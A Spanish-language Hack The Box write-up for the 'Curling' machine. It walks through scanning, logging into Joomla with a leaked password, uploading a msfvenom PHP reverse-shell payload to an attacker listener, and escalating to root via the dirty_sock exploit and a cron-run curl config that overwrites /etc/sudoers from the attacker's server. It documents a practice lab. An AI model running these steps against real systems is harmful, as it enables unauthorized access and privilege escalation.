Hack The Box - Curling Writeup

 

 MASSCAN

root@sckull:~/htb/curling# masscan -p1-65535,U:1-65535 10.10.10.150 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT)
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.150                                    
Discovered open port 22/tcp on 10.10.10.150 

NMAP 

Escaneo al puerto 80 y 22
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for 10.10.10.150
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.18 - 2.6.22
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   707.63 ms 10.10.12.1
2   707.82 ms 10.10.10.150

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.56 seconds

HTTP 

Al visitar la pagina en el puerto 80 encontramos una pagina sencilla con varios post, en donde tambien vemos el nombre de 'Floris' en un post y Super User que puede referirse al usuario 'administrator. 


GOBUSTER 

Escaneo de directorios y archivos html, php y txt
gobuster -u http://10.10.10.150/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -np -x txt,html,php -t 30
root@sckull:~/htb/curling# gobuster -u http://10.10.10.150/ -w /usr/share/wordlists/dirb/common.txt -q -np -x html,php,txt -t 30
/administrator (Status: 301)
/bin (Status: 301)
/cache (Status: 301)
/components (Status: 301)
/configuration.php (Status: 200)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/LICENSE.txt (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/README.txt (Status: 200)
/secret.txt (Status: 200)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
/web.config.txt (Status: 200)
Dentro de los directorios y archivos encontrados vemos uno no muy comun /secret.txt al visitar la direccion nos encontramos con una cadena en base64. 
Al decodificar dicha cadena nos devuelve Curling2018! posiblemente una contraseña para uno de los dos usuarios administrator y floris. Al intentar con el usuario floris y la 'contraseña' en /secret.txt nos logramos logear al panel de administracion de joomla.
Username: floris
Password: Curling2018!

SHELL 

Ahora que tenemos acceso al panel de administracion podemos intentar obtener una shell mediante un modulo -> mod_simplefileupload. Primero debemos de generar nuestro payload con msfvenom y poner a la escucha nuestra maquina con multi/handler.
root@sckull:~/htb/curling# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.12.11 LPORT=7878 -o batman.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1112 bytes
Saved as: batman.php
root@sckull:~/htb/curling# msfconsole -q
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.12.11
LHOST => 10.10.12.11
msf5 exploit(multi/handler) > set LPORT 7878
LPORT => 7878
msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.10.12.11:7878

Para subir nuestra extension nos dirigmos a Extentions > Manage > Install > Upload Package File, elegimos nuestro paquete.

Luego nos dirigimos a http://10.10.10.150/modules/mod_simplefileuploadv1.3/elements/udd.php, procedemos a subir nuestro payload y visitar la pagina donde se encuentra nuestro payload.
Y obtenemos nuestra sesion meterpreter.
En la carpeta /home/floris encontramos el flag user.txt pero no tenemos permisos para leerlo, pero encontramos un archivo con el nombre de password_backup. 
Utilizamos xxd para verificar el archivo, al consultar los primeros valores del archivos encontramos que es un archivo de tipo bzip2 gracias a los magic numbers.
Utilizamos nuevamente xxd para escribir este archivo en /tmp.
xxd -r /home/floris/password_backup > /tmp/backup.bz2
Pasamos nuestro archivo a base64 para poder extraerlo localmente.
root@sckull:~/htb/curling# cat base64 | base64 -d > backup.bz2
root@sckull:~/htb/curling# bzip2 -d backup.bz2 
root@sckull:~/htb/curling# ls
backup  base64  batman.php  mod_simplefileuploadJ30v1.3.5.zip
root@sckull:~/htb/curling# cat backup
�l[password�r�BZh91AY&SY6Ǎ����@@!PtD�� t"d�hhOPIS@��6��8ET>P@�#I bՃ|3��x���������(*N�&�H��k1��x��"�{�ೱ��]��B@�6�m��root@sckull:~/htb/curling# file backup
backup: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141
root@sckull:~/htb/curling# mv backup file.gz
root@sckull:~/htb/curling# gunzip file.gz 
root@sckull:~/htb/curling# ls
base64  batman.php  file  mod_simplefileuploadJ30v1.3.5.zip
root@sckull:~/htb/curling# file file 
file: bzip2 compressed data, block size = 900k
root@sckull:~/htb/curling# bzip2 -d file.bz2 
root@sckull:~/htb/curling# ls
base64  batman.php  file  mod_simplefileuploadJ30v1.3.5.zip
root@sckull:~/htb/curling# cat file 
password.txt0000644000000000000000000000002313301066143012147 0ustar  rootroot5d
Finalmente despues de pasar por varios archivos nos encontramos con una contraseña dentro del archivo password.txt, vamos a utilizarla para el usuario Floris en el servicio ssh y obtenemos nuestra bandera user.txt.

PRIVILEGE ESCALATION 

Realizamos una enumeracion de posibles exploits con linux-exploit-suggester dentro del directorio /tmp, esto para facilitar una escalada de privilegios.
Encontramos el CVE-2019-7304 de dirty_sock que podria ayudarnos para escalada de privilegios, descargamos y ejecutamos nuestro exploit, el cual nos creara un usario con privilegios root.
Nota: este cve salio poco antes de que la maquina fuera retirada.

Cambiamos de usuario con su al usuario dirty_sock, y obtenemos privilegios root y la bandera root.txt

PRIVILEGE ESCALATION - Curl

Tenemos otra forma de obtener root, para ello utilizamos pspy para ver los cron que se ejecutan.

Observamos que hay uno cronjob que ejecuta un script con privilegios root, el cual copia un archivo llamado default.txt a /home/floris/admin-area/input.
cat /root/default.txt > /home/floris/admin-area/input
Y otro que utiliza curl y mediante un archivo hace una consulta el cual tiene salida en report.
curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
Sabiendo lo anterior podemos crear un archivo sudoers que contenga permisos de usuario root para el usuario floris, utilizar un servidor local para que el cron haga la consulta, descargue el archivo y lo guarde en el archivo de sudoers.

Editamos el archivo input con lo siguiente:
url = "http://10.10.12.11/sudoers"
output = "/etc/sudoers"

Hack The Box
Sckullbock. Con la tecnología de Blogger.